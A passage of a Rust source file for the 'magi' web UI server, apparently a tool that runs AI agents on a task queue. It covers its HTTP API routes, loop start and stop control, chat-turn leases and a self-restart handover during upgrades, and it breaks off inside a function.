1#[cfg(test)]
95pub(crate) mod request_cost;
96
97use std::collections::{HashMap, HashSet};
98use std::convert::Infallible;
99use std::net::{IpAddr, Ipv4Addr, SocketAddr};
100use std::path::{Path as FsPath, PathBuf};
101use std::pin::Pin;
102use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
103use std::time::Duration;
104use tokio::sync::Notify;
105
106use anyhow::{Context, Result};
107use axum::Json;
108use axum::Router;
109use axum::body::Bytes;
110use axum::extract::rejection::JsonRejection;
111use axum::extract::{DefaultBodyLimit, Path, Query, State};
112use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
113use axum::response::sse::{Event, KeepAlive, Sse};
114use axum::response::{IntoResponse, Response};
115use axum::routing::{get, post, put};
116use jiff::Timestamp;
117use serde::{Deserialize, Serialize};
118use tokio_stream::StreamExt as _;
119use tokio_stream::wrappers::ReceiverStream;
120
121use crate::agent;
122use crate::ask::{self, Answer, Question, Questions};
123use crate::config::{AgentKind, Config, Update, UpdateMode};
124use crate::md;
125use crate::notices::{Notice, Notices};
126use crate::persona;
127use crate::persona_icon;
128use crate::proc::Quiet as _;
129use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
130use crate::run::{RunState, RunStatus};
131use crate::talk::{Talk, Talks};
132use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
133
134pub const DEFAULT_PORT: u16 = 7878;
136
137const POLL: Duration = Duration::from_secs(1);
139
140const KEEPALIVE: Duration = Duration::from_secs(15);
144
145const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
156
157const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
160
161const LIST_DEFAULT: usize = 50;
165const LIST_MAX: usize = 500;
167
168const TITLE_MAX: usize = 72;
170
171const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
180
181const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
187
188const FILENAME_HEADER: &str = "x-filename";
192
193const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
216 font-src data:; base-uri 'none'; form-action 'none'; \
217 frame-ancestors 'self'";
218
219const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
220const APP_CSS: &str = include_str!("../assets/ui/app.css");
221const APP_JS: &str = include_str!("../assets/ui/app.js");
222
223#[derive(Debug, Clone, Copy, PartialEq, Eq)]
225pub enum Bind {
226 Auto,
228 Addr(IpAddr),
230}
231
232impl std::str::FromStr for Bind {
233 type Err = String;
234
235 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
239 if s.eq_ignore_ascii_case("auto") {
240 return Ok(Self::Auto);
241 }
242 s.parse()
243 .map(Self::Addr)
244 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
245 }
246}
247
248impl std::fmt::Display for Bind {
249 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
250 match self {
251 Self::Auto => f.write_str("auto"),
252 Self::Addr(addr) => write!(f, "{addr}"),
253 }
254 }
255}
256
257#[derive(Debug, Clone)]
259pub struct Opts {
260 pub bind: Bind,
262 pub port: u16,
264 pub repo: PathBuf,
266 pub open: bool,
269 pub merge: Option<String>,
277}
278
279impl Default for Opts {
280 fn default() -> Self {
281 Self {
282 bind: Bind::Auto,
283 port: DEFAULT_PORT,
284 repo: PathBuf::from("."),
285 open: false,
286 merge: None,
287 }
288 }
289}
290
291#[derive(Debug, Clone)]
297pub struct Ui {
298 queue: Queue,
299 questions: Questions,
300 notices: Notices,
303 talks: Talks,
304 runs: PathBuf,
305 home: PathBuf,
306 repo: PathBuf,
307 worktrees_root: PathBuf,
314 talk_turns: Arc<Mutex<TalkTurns>>,
322 upgrade_gate: Arc<tokio::sync::Mutex<()>>,
326 upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
329 resuming: Arc<Mutex<HashSet<String>>>,
337 repos_cache: repos::Cache,
341 machine_config: Option<PathBuf>,
345 merge: Option<String>,
347 looping: Arc<Mutex<LoopState>>,
349 launch: Launch,
361 #[cfg(test)]
364 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
365}
366
367#[cfg(test)]
387struct BusyQueueGate {
388 reached: tokio::sync::oneshot::Sender<()>,
389 release: std::sync::mpsc::Receiver<()>,
390}
391
392#[cfg(test)]
393impl std::fmt::Debug for BusyQueueGate {
394 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
395 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
396 }
397}
398
399impl Ui {
400 pub fn new(
402 queue: Queue,
403 questions: Questions,
404 talks: Talks,
405 runs: PathBuf,
406 home: PathBuf,
407 repo: PathBuf,
408 ) -> Self {
409 Self {
410 queue,
411 questions,
412 notices: Notices::at(home.join("notifications")),
413 talks,
414 runs,
415 home,
416 repo,
417 worktrees_root: run::default_worktree_root(),
421 talk_turns: Arc::default(),
422 upgrade_gate: Arc::default(),
423 upgrade_spawned: Arc::default(),
424 resuming: Arc::default(),
425 repos_cache: repos::Cache::new(),
426 machine_config: Config::machine_layer(),
427 merge: None,
428 looping: Arc::default(),
429 launch: launch_daemon,
430 #[cfg(test)]
431 busy_queue_gate: Arc::default(),
432 }
433 }
434
435 pub fn open(repo: PathBuf) -> Self {
438 Self::new(
439 Queue::open(),
440 Questions::open(),
441 Talks::open(),
442 run::runs_root(),
443 run::home(),
444 repo,
445 )
446 }
447
448 #[must_use]
455 pub fn with_merge(mut self, merge: Option<String>) -> Self {
456 self.merge = merge;
457 self
458 }
459
460 #[cfg(test)]
463 #[must_use]
464 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
465 self.machine_config = path;
466 self
467 }
468
469 #[must_use]
474 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
475 self.worktrees_root = root;
476 self
477 }
478
479 #[cfg(test)]
484 #[must_use]
485 fn with_launch(mut self, launch: Launch) -> Self {
486 self.launch = launch;
487 self
488 }
489
490 #[cfg(test)]
500 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
501 *self
502 .busy_queue_gate
503 .lock()
504 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
505 }
506
507 fn looping(&self) -> Arc<Mutex<LoopState>> {
509 Arc::clone(&self.looping)
510 }
511
512 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
519 if let Some(other) = foreign {
520 return Err(ApiError::conflict(format!(
521 "{} is already running the loop, so this one will not start a \
522 second: two loops on one queue race for the same claims and \
523 burn the agent quota twice over. Stop it where it was \
524 started.",
525 other.who()
526 )));
527 }
528 let mut state = self.lock_loop();
529 if state.live.as_ref().is_some_and(Live::alive) {
530 return Err(ApiError::conflict(format!(
531 "this magi web process (pid {}) is already running the loop",
532 std::process::id()
533 )));
534 }
535
536 let stop = daemon::Stop::new();
537 let opts = daemon::Opts {
541 repo: self.repo.clone(),
542 merge: self.merge.clone(),
543 worktrees_root: Some(self.worktrees_root.clone()),
550 ..daemon::Opts::default()
551 };
552 let launch = self.launch;
553 let looping = Arc::clone(&self.looping);
554 let handle = tokio::spawn({
555 let opts = opts.clone();
556 let stop = stop.clone();
557 async move {
558 let failure = match launch(opts, stop).await {
559 Ok(()) => None,
560 Err(e) => Some(format!("{e:#}")),
561 };
562 match &failure {
563 Some(why) => tracing::error!("the loop stopped: {why}"),
564 None => tracing::info!("the loop stopped"),
565 }
566 let mut state = lock_or_recover(&looping);
572 state.live = None;
573 state.last_error = failure;
574 state.rev += 1;
575 }
576 });
577 tracing::info!(
578 "the loop is now running in this process: repo {}, merge {}",
579 opts.repo.display(),
580 opts.merge.as_deref().unwrap_or("as the config says")
581 );
582 state.live = Some(Live { stop, handle, opts });
583 state.last_error = None;
586 state.rev += 1;
587 Ok(())
588 }
589
590 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
596 if let Some(other) = foreign {
597 return Err(ApiError::conflict(format!(
598 "the loop belongs to {}, and this process cannot stop it - \
599 stop it where it was started. A button that silently did \
600 nothing would be worse than this refusal.",
601 other.who()
602 )));
603 }
604 let mut state = self.lock_loop();
605 if !park {
608 state.resume_after_handover = false;
609 }
610 let Some(live) = state.live.as_ref() else {
611 return Ok(());
612 };
613 if live.stop.stopped() && (!park || live.stop.parking()) {
617 return Ok(());
618 }
619 if park {
620 live.stop.park();
621 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
622 } else {
623 live.stop.stop();
624 tracing::info!("the loop was asked to stop; a run in flight is finished first");
625 }
626 state.rev += 1;
627 Ok(())
628 }
629
630 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
637 let state = self.lock_loop();
638 let live = state.live.as_ref().filter(|live| live.alive());
641 LoopView {
642 running: live.is_some(),
643 stopping: live.is_some_and(|live| live.stop.finishing()),
644 parking: live.is_some_and(|live| live.stop.parking()),
645 owned: live.is_some(),
646 repo: live
647 .map_or(&self.repo, |live| &live.opts.repo)
648 .display()
649 .to_string(),
650 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
651 last_error: state.last_error.clone(),
652 daemon: DaemonView::of(reading),
653 }
654 }
655
656 fn resume_after_handover(&self, resume: bool) -> bool {
662 if !resume {
663 return false;
664 }
665 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
666 match self.start_loop(foreign) {
667 Ok(()) => true,
668 Err(e) => {
669 let why = format!(
670 "the loop could not be resumed after the upgrade: {}",
671 e.message
672 );
673 tracing::warn!("{why}");
674 let mut state = self.lock_loop();
675 state.last_error = Some(why);
676 state.rev += 1;
677 false
678 }
679 }
680 }
681
682 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
684 lock_or_recover(&self.looping)
685 }
686
687 fn is_thinking(&self, id: &str) -> bool {
693 self.talk_turns
694 .lock()
695 .is_ok_and(|turns| turns.live.contains(id))
696 || self.talks.turn_held(id)
699 }
700
701 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
720 self.claim_talk_turn(id, false)
721 }
722
723 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
726 self.claim_talk_turn(id, true)
727 }
728
729 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
730 let mut live = self
731 .talk_turns
732 .lock()
733 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
734 if live.parking {
735 if queued {
736 *live.queued.entry(id.to_owned()).or_default() += 1;
739 return Ok(None);
740 }
741 return Err(ApiError::conflict(UPGRADE_IN_PROGRESS));
742 }
743 let inserted = live.live.insert(id.to_owned());
744 let lease = if inserted {
748 match self.talks.claim_turn(id) {
749 Ok(Some(lease)) => Some(lease),
750 Ok(None) => {
751 live.live.remove(id);
752 None
753 }
754 Err(e) => {
755 live.live.remove(id);
756 return Err(ApiError::from(e));
757 }
758 }
759 } else {
760 None
761 };
762 if lease.is_none() {
763 if queued {
764 *live.queued.entry(id.to_owned()).or_default() += 1;
769 }
770 return Ok(None);
771 }
772 Ok(Some(TalkTurnGuard {
773 talk: id.to_owned(),
774 turns: Arc::clone(&self.talk_turns),
775 released: false,
776 lease,
777 }))
778 }
779
780 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
785 let mut live = self
786 .talk_turns
787 .lock()
788 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
789 if live.parking || live.live.contains(id) {
791 return Ok(TalkTurnStart::Busy);
792 }
793 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
794 return Ok(TalkTurnStart::Foreign);
795 };
796 let talk = self.talks.get(id).map_err(ApiError::from)?;
798 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
799 return Ok(TalkTurnStart::Pending);
800 }
801 live.live.insert(id.to_owned());
802 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
803 talk: id.to_owned(),
804 turns: Arc::clone(&self.talk_turns),
805 released: false,
806 lease: Some(lease),
807 }))
808 }
809
810 fn queued_generation(&self, id: &str) -> u64 {
811 let live = self
812 .talk_turns
813 .lock()
814 .unwrap_or_else(PoisonError::into_inner);
815 live.queued.get(id).copied().unwrap_or(0)
816 }
817
818 fn turns(&self) -> Arc<Mutex<TalkTurns>> {
820 Arc::clone(&self.talk_turns)
821 }
822
823 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
830 let parking = {
831 let mut state = self.lock_loop();
832 let resume = state.resume_after_handover
842 || state
843 .live
844 .as_ref()
845 .is_some_and(|live| live.alive() && !live.stop.stopped());
846 state.resume_after_handover = resume;
847 let Some(live) = state.live.as_ref() else {
848 return Ok(None);
849 };
850 let busy = live.stop.busy_now();
851 live.stop.park();
852 state.rev += 1;
853 busy
854 };
855 Ok(if parking {
856 daemon::current_work(&self.home, jiff::Timestamp::now())
861 .into_iter()
862 .next()
863 .map(|c| c.run)
864 } else {
865 None
866 })
867 }
868
869 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
873 let mut live = self
874 .resuming
875 .lock()
876 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
877 if !live.insert(id.to_owned()) {
878 return Err(ApiError::conflict(format!(
879 "run {id} is already being resumed"
880 )));
881 }
882 Ok(ResumeGuard {
883 run: id.to_owned(),
884 resuming: Arc::clone(&self.resuming),
885 })
886 }
887
888 pub fn router(self) -> Router {
896 Router::new()
897 .route("/", get(index))
898 .route("/app.css", get(app_css))
899 .route("/app.js", get(app_js))
900 .route("/api/health", get(health))
901 .route("/api/loop", get(loop_get).post(loop_post))
902 .route("/api/upgrade", post(upgrade_post))
903 .route("/api/runs", get(runs_list))
904 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
905 .route("/api/runs/{id}/report", get(run_report))
906 .route("/api/runs/{id}/report.json", get(run_report_json))
907 .route("/api/runs/{id}/fold", post(run_fold))
908 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
909 .route("/api/runs/{id}/resume", post(run_resume))
910 .route("/api/queue", get(queue_list))
911 .route("/api/search", get(search_get))
912 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
913 .route("/api/stats", get(stats_get))
914 .route("/api/repos", get(repos_list))
915 .route("/api/settings", get(settings_get))
916 .route("/api/settings/roles", put(settings_put_roles))
917 .route("/api/queue/{id}/hold", post(queue_hold))
918 .route("/api/queue/{id}/release", post(queue_release))
919 .route("/api/queue/{id}/priority", post(queue_priority))
920 .route("/api/queue/{id}/implementers", post(queue_implementers))
921 .route("/api/queue/{id}/edit", post(queue_edit))
922 .route("/api/queue/{id}/done", post(queue_done))
923 .route("/api/questions", get(questions_list))
924 .route("/api/questions/{id}/answer", post(question_answer))
925 .route("/api/questions/{id}/say", post(question_say))
926 .route("/api/questions/{id}/consult", post(question_consult))
927 .route("/api/questions/{id}/panel", get(question_panel))
928 .route("/api/questions/{id}/panel/index.html", get(question_panel))
936 .route("/api/questions/{id}/panel/{name}", get(question_asset))
937 .route("/api/questions/{id}/asset/{name}", get(question_asset))
938 .route("/api/notifications", get(notifications_list))
939 .route("/api/notifications/read-all", post(notifications_read_all))
940 .route("/api/notifications/{id}/read", post(notification_read))
941 .route(
942 "/api/notifications/{id}/dismiss",
943 post(notification_dismiss),
944 )
945 .route("/api/talks", get(talks_list).post(talk_post))
946 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
947 .route("/api/talks/{id}/say", post(talk_say))
948 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
949 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
950 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
951 .route("/api/talks/{id}/agent", post(talk_agent))
952 .route("/api/talks/{id}/persona", post(talk_persona))
953 .route("/api/talks/{id}/implementers", post(talk_implementers))
954 .route("/api/talks/{id}/close", post(talk_close))
955 .route("/api/talks/{id}/reopen", post(talk_reopen))
956 .route(
962 "/api/talks/{id}/attachments",
963 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
964 )
965 .route(
966 "/api/talks/{id}/attachments/{att}",
967 get(talk_attachment_get),
968 )
969 .route("/api/talks/{id}/avatar", get(talk_avatar))
970 .route("/avatars/operator.svg", get(operator_avatar))
971 .route("/api/events", get(events))
972 .with_state(Arc::new(self))
973 }
974}
975
976const UPGRADE_IN_PROGRESS: &str = "upgrade in progress, try again in a moment";
979
980#[derive(Debug)]
986struct TalkTurnGuard {
987 talk: String,
988 turns: Arc<Mutex<TalkTurns>>,
989 released: bool,
990 lease: Option<crate::talk::TurnLease>,
992}
993
994#[derive(Debug, Default)]
1001struct TalkTurns {
1002 live: HashSet<String>,
1003 queued: HashMap<String, u64>,
1004 parking: bool,
1008}
1009
1010enum TalkTurnStart {
1013 Claimed(TalkTurnGuard),
1014 Busy,
1015 Foreign,
1018 Pending,
1019}
1020
1021impl TalkTurnGuard {
1022 fn owns(&self) -> bool {
1026 self.lease
1027 .as_ref()
1028 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1029 }
1030
1031 async fn respond(
1034 &self,
1035 talk: &mut Talk,
1036 talks: &Talks,
1037 cfg: &Config,
1038 text: &str,
1039 ) -> anyhow::Result<()> {
1040 let lease = self
1041 .lease
1042 .as_ref()
1043 .context("the turn guard no longer holds its lease")?;
1044 talk::respond(lease, talk, talks, cfg, text).await
1045 }
1046
1047 fn release(mut self, live: &mut TalkTurns) {
1050 self.lease = None;
1054 live.live.remove(&self.talk);
1055 live.queued.remove(&self.talk);
1056 self.released = true;
1057 }
1058}
1059
1060impl Drop for TalkTurnGuard {
1061 fn drop(&mut self) {
1062 if self.released {
1063 return;
1064 }
1065 drop(self.lease.take());
1067 if let Ok(mut live) = self.turns.lock() {
1068 live.live.remove(&self.talk);
1069 live.queued.remove(&self.talk);
1070 }
1071 }
1072}
1073
1074struct ResumeGuard {
1076 run: String,
1077 resuming: Arc<Mutex<HashSet<String>>>,
1078}
1079
1080impl Drop for ResumeGuard {
1081 fn drop(&mut self) {
1082 if let Ok(mut live) = self.resuming.lock() {
1083 live.remove(&self.run);
1084 }
1085 }
1086}
1087
1088async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1098 const WINDOW: Duration = Duration::from_secs(10);
1099 const GAP: Duration = Duration::from_millis(250);
1100
1101 let deadline = std::time::Instant::now() + WINDOW;
1102 let mut said = false;
1103 loop {
1104 match tokio::net::TcpListener::bind(socket).await {
1105 Ok(listener) => return Ok(listener),
1106 Err(e)
1107 if e.kind() == std::io::ErrorKind::AddrInUse
1108 && std::time::Instant::now() < deadline =>
1109 {
1110 if !said {
1111 said = true;
1112 tracing::info!(
1113 "{socket} is still held - waiting up to {}s for it, \
1114 which is what a restart looks like from here",
1115 WINDOW.as_secs()
1116 );
1117 }
1118 tokio::time::sleep(GAP).await;
1119 }
1120 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1121 }
1122 }
1123}
1124
1125static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1128
1129const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1131
1132fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1134 value.is_some_and(|v| v == "1")
1135}
1136
1137fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1160 let exe = std::env::current_exe().context("find this binary")?;
1161 let args: Vec<String> = std::env::args().skip(1).collect();
1162 updater::log_step(
1163 home,
1164 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1165 );
1166 let log_path = home.join(WEB_LOG);
1167 let open_log = || {
1168 std::fs::create_dir_all(home)?;
1169 std::fs::OpenOptions::new()
1170 .create(true)
1171 .append(true)
1172 .open(&log_path)
1173 };
1174 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1175 Ok(pair) => (
1176 std::process::Stdio::from(pair.0),
1177 std::process::Stdio::from(pair.1),
1178 ),
1179 Err(e) => {
1180 updater::log_warn(
1181 home,
1182 &format!(
1183 "could not open {}: {e}; the successor logs nowhere",
1184 log_path.display()
1185 ),
1186 );
1187 (std::process::Stdio::null(), std::process::Stdio::null())
1188 }
1189 };
1190
1191 let mut cmd = std::process::Command::new(&exe);
1192 if resume {
1193 cmd.env(RESUME_LOOP_ENV, "1");
1194 } else {
1195 cmd.env_remove(RESUME_LOOP_ENV);
1196 }
1197 cmd.args(&args)
1198 .stdin(std::process::Stdio::null())
1199 .stdout(out)
1200 .stderr(err);
1201 #[cfg(windows)]
1202 {
1203 use std::os::windows::process::CommandExt as _;
1204 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1207 }
1208 let child = cmd.spawn().context("start the successor")?;
1209 Ok(child.id())
1210}
1211
1212const WEB_LOG: &str = "web.log";
1214
1215async fn wait_for_handover(signal: &Notify) {
1219 signal.notified().await;
1220}
1221
1222pub async fn serve(opts: Opts) -> Result<()> {
1247 let (addr, warning) = resolve_bind(&opts.bind);
1248 if let Some(warning) = warning {
1249 tracing::warn!("{warning}");
1250 }
1251
1252 report::set_color(false);
1258
1259 let repo = normalize_default_repo(opts.repo).await;
1260 let ui = Ui::open(repo).with_merge(opts.merge);
1261 let home = ui.home.clone();
1266 let repo = ui.repo.clone();
1267 updater::reconcile_after_restart(&home);
1272 updater::log_step(
1273 &home,
1274 &format!(
1275 "web process started (version {}); handover log {}, successor output {}",
1276 env!("CARGO_PKG_VERSION"),
1277 updater::log_path(&home).display(),
1278 home.join(WEB_LOG).display()
1279 ),
1280 );
1281 updater::spawn_watchdog(home.clone());
1282 tokio::spawn(run_update_recheck(repo, home.clone()));
1291 let looping = ui.looping();
1292 let turns = ui.turns();
1293 let talk_store = ui.talks.clone();
1294 let socket = SocketAddr::new(addr, opts.port);
1295 let listener = bind_waiting(socket).await?;
1296 let url = format!("http://{addr}:{}", opts.port);
1297 tracing::info!(
1298 "magi web UI on {url} - there is no authentication, so anyone who can \
1299 reach this address can file and hold tasks: the tailnet is the \
1300 security boundary"
1301 );
1302 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1303 tracing::info!("resumed the loop the predecessor was running");
1304 } else {
1305 tracing::info!(
1306 "the queue loop is not running yet - start it from the UI, which is \
1307 the whole reason this process can: nothing in the queue moves until \
1308 something is running the loop"
1309 );
1310 }
1311 if opts.open {
1312 println!("{url}");
1316 }
1317
1318 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1321 let interrupted = async {
1322 if tokio::signal::ctrl_c().await.is_err() {
1323 std::future::pending::<()>().await;
1328 }
1329 };
1330 let handover = wait_for_handover(&HANDOVER);
1331 let outcome = tokio::select! {
1332 joined = &mut served => match joined {
1333 Ok(outcome) => outcome.context("serve the web UI"),
1334 Err(e) => Err(e).context("the task serving the web UI ended"),
1335 },
1336 () = interrupted => {
1337 tracing::info!("shutting down the web UI");
1338 finish_loop(&home, &looping, None).await;
1339 Ok(())
1340 }
1341 () = handover => {
1342 updater::log_step(&home, "serve: the select! woke on the handover signal");
1343 let successor_home = home.clone();
1344 let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
1345 hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
1346 spawn_successor(&successor_home, resume)
1347 })
1348 .await
1349 }
1350 };
1351 updater::log_step(
1352 &home,
1353 &match &outcome {
1354 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1355 Err(e) => format!("serve: returning an error: {e:#}"),
1356 },
1357 );
1358 outcome
1359}
1360
1361async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1382 if repo != FsPath::new(".") {
1383 return repo;
1384 }
1385 let Ok(canonical) = repo.canonicalize() else {
1386 return repo;
1387 };
1388 if git::toplevel(&canonical).await.is_ok() {
1389 return repo;
1390 }
1391 let Some(home) = dirs::home_dir() else {
1392 return repo;
1393 };
1394 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1395 Some(found) => {
1396 tracing::info!(
1397 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1398 canonical.display(),
1399 found.path.display(),
1400 found.reason,
1401 );
1402 found.path
1403 }
1404 None => repo,
1405 }
1406}
1407
1408async fn hand_over(
1438 home: &FsPath,
1439 looping: &Mutex<LoopState>,
1440 turns: &Arc<Mutex<TalkTurns>>,
1441 talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
1442 served: tokio::task::JoinHandle<std::io::Result<()>>,
1443 successor: impl FnOnce(bool) -> Result<u32>,
1444) -> Result<()> {
1445 updater::log_step(home, "hand_over: entered; writing the parking stage");
1446 let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1450 if !recorded {
1451 updater::log_warn(
1452 home,
1453 "hand_over: upgrade.json is unreadable; no parking stage",
1454 );
1455 }
1456 finish_loop(home, looping, Some(&mut lease)).await;
1461 let parking = ParkingTurns::begin(turns);
1462 let talks_done = finish_talks(home, turns, talk_wait);
1463 tokio::pin!(talks_done);
1464 let mut beat = tokio::time::interval(LEASE_BEAT);
1465 let (abandoned, waited_for) = loop {
1466 tokio::select! {
1467 left = &mut talks_done => break left,
1468 _ = beat.tick() => lease.beat(),
1469 }
1470 };
1471 drop(lease);
1472 updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1473 served.abort();
1474 let _ = served.await;
1475 updater::log_step(home, "hand_over: listener released");
1476 let resume = lock_or_recover(looping).resume_after_handover;
1479 match updater::read_progress(home) {
1480 Some(mut progress) => {
1481 progress.advance(updater::Stage::Restarting);
1482 if !abandoned.is_empty() {
1483 progress.detail = Some(format!(
1484 "handed over while {} still running after {} s",
1485 updater::talks_phrase(&abandoned),
1486 waited_for.as_secs()
1487 ));
1488 }
1489 updater::write_progress_logged(home, &progress);
1490 }
1491 None => updater::log_warn(
1492 home,
1493 "hand_over: upgrade.json is unreadable; no restarting stage",
1494 ),
1495 }
1496 updater::log_step(
1497 home,
1498 &format!("hand_over: starting the successor (resume={resume})"),
1499 );
1500 drop(parking);
1501 match successor(resume) {
1502 Ok(pid) => {
1503 updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1504 Ok(())
1505 }
1506 Err(e) => {
1507 updater::log_warn(
1508 home,
1509 &format!("hand_over: the successor did not start: {e:#}"),
1510 );
1511 Err(e)
1512 }
1513 }
1514}
1515
1516const TALK_PARK_GRACE: Duration = Duration::from_secs(60);
1519
1520const TALK_POLL: Duration = Duration::from_millis(250);
1522
1523fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
1526 Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
1527}
1528
1529fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
1534 let default = Config::default().graph.timeout_talk;
1535 let longest = ids
1536 .iter()
1537 .map(|id| {
1538 talks
1539 .get(id)
1540 .ok()
1541 .and_then(|t| Config::discover(&t.repo, None).ok())
1542 .map_or(default, |(c, _)| c.graph.timeout_talk)
1543 })
1544 .max()
1545 .unwrap_or(default);
1546 talk_wait_bound(longest)
1547}
1548
1549struct ParkingTurns(Arc<Mutex<TalkTurns>>);
1553
1554impl ParkingTurns {
1555 fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
1556 turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
1557 Self(Arc::clone(turns))
1558 }
1559}
1560
1561impl Drop for ParkingTurns {
1562 fn drop(&mut self) {
1563 self.0
1564 .lock()
1565 .unwrap_or_else(PoisonError::into_inner)
1566 .parking = false;
1567 }
1568}
1569
1570async fn finish_talks(
1575 home: &FsPath,
1576 turns: &Mutex<TalkTurns>,
1577 bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
1578) -> (Vec<String>, Duration) {
1579 let running = || {
1580 let mut ids: Vec<String> = turns
1581 .lock()
1582 .unwrap_or_else(PoisonError::into_inner)
1583 .live
1584 .iter()
1585 .cloned()
1586 .collect();
1587 let talks = talk::Talks::at(home.join("talks"));
1590 for t in talks.list() {
1591 if talks.turn_held(&t.id) && !ids.contains(&t.id) {
1592 ids.push(t.id);
1593 }
1594 }
1595 ids.sort();
1596 ids
1597 };
1598 let started = std::time::Instant::now();
1599 let mut seen = Vec::new();
1600 let mut bound = Duration::ZERO;
1601 loop {
1602 let ids = running();
1603 if ids != seen {
1604 bound = bound.max(bound_for(&ids));
1605 if ids.is_empty() {
1606 updater::log_step(home, "finish_talks: no chat turn is running");
1607 } else {
1608 updater::log_step(
1609 home,
1610 &format!(
1611 "finish_talks: waiting for {} to finish",
1612 updater::talks_phrase(&ids)
1613 ),
1614 );
1615 }
1616 updater::set_parked_talks(home, &ids);
1617 seen = ids;
1618 }
1619 if seen.is_empty() {
1620 return (Vec::new(), bound);
1621 }
1622 if started.elapsed() >= bound {
1623 updater::log_warn(
1624 home,
1625 &format!(
1626 "finish_talks: {} still running after {} s; handing over anyway",
1627 updater::talks_phrase(&seen),
1628 bound.as_secs()
1629 ),
1630 );
1631 return (seen, bound);
1632 }
1633 tokio::time::sleep(TALK_POLL).await;
1634 }
1635}
1636
1637const LEASE_BEAT: Duration = Duration::from_secs(20);
1640
1641async fn finish_loop(
1648 home: &FsPath,
1649 state: &Mutex<LoopState>,
1650 mut lease: Option<&mut updater::LeaseGuard>,
1651) {
1652 let live = lock_or_recover(state).live.take();
1653 let Some(live) = live else {
1654 updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1655 return;
1656 };
1657 live.stop.stop();
1658 lock_or_recover(state).rev += 1;
1659 updater::log_step(
1660 home,
1661 "finish_loop: waiting for the loop to finish the run in flight",
1662 );
1663 let waited = std::time::Instant::now();
1664 let mut handle = live.handle;
1667 let mut beat = tokio::time::interval(LEASE_BEAT);
1668 loop {
1669 tokio::select! {
